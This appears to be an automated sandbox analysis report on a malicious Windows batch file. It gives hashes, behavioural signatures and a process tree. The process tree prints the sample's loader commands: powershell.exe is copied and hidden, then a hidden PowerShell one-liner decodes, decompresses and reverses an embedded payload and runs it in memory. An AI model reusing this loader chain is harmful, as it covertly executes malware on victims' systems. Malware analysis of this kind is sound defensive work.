Analysis
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max time kernel
120s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
18-06-2024 17:25
Static task
static1
Behavioral task
behavioral1
Sample
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat
Resource
win10v2004-20240611-en
General
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Target
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat
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Size
2.5MB
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MD5
0f66c9fac192e23ed8b27756a13c9a51
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SHA1
20ddad40148adbdd5d784b124acc33cdde097132
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SHA256
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f
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SHA512
a5a14d3cb211d82d88fe6a9e20d9e31d904f469d53397c08d0ad5d0e33092309befd7b758823712412f0934212af69211fcd6f2e7f21fec9eb74e2949bc45335
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SSDEEP
49152:5an+rZc4d12wBdAyoxrHDJn514sMoV5HOIbTbfS:P
Malware Config
Signatures
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
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Executes dropped EXE 1 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Naspid process 2728 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Naspid process 2728 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Naspid process 2728 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nasdescription pid process Token: SeDebugPrivilege 2728 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
cmd.exedescription pid process target process PID 1992 wrote to memory of 2212 1992 cmd.exe cmd.exe PID 1992 wrote to memory of 2212 1992 cmd.exe cmd.exe PID 1992 wrote to memory of 2212 1992 cmd.exe cmd.exe PID 1992 wrote to memory of 2208 1992 cmd.exe xcopy.exe PID 1992 wrote to memory of 2208 1992 cmd.exe xcopy.exe PID 1992 wrote to memory of 2208 1992 cmd.exe xcopy.exe PID 1992 wrote to memory of 1336 1992 cmd.exe attrib.exe PID 1992 wrote to memory of 1336 1992 cmd.exe attrib.exe PID 1992 wrote to memory of 1336 1992 cmd.exe attrib.exe PID 1992 wrote to memory of 2728 1992 cmd.exe 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas PID 1992 wrote to memory of 2728 1992 cmd.exe 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas PID 1992 wrote to memory of 2728 1992 cmd.exe 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas PID 1992 wrote to memory of 2728 1992 cmd.exe 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:2212
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas2⤵PID:2208
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:1336
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C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.NasC:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -WindowStyle hidden -command "$Nrmdm = Get-Content 'C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat' | select-object -Last 1; $Wjppsmckfpm = [System.Convert]::FromBase64String($Nrmdm);$Iceehfuhq = New-Object System.IO.MemoryStream( , $Wjppsmckfpm );$Ygqvnh = New-Object System.IO.MemoryStream;$Mzmtwv = New-Object System.IO.Compression.GzipStream $Iceehfuhq, ([IO.Compression.CompressionMode]::Decompress);$Mzmtwv.CopyTo( $Ygqvnh );$Mzmtwv.Close();$Iceehfuhq.Close();[byte[]] $Wjppsmckfpm = $Ygqvnh.ToArray();[Array]::Reverse($Wjppsmckfpm); $Hvxhaz = [System.Threading.Thread]::GetDomain().Load($Wjppsmckfpm); $Dccbj = $Hvxhaz.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
Filesize442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f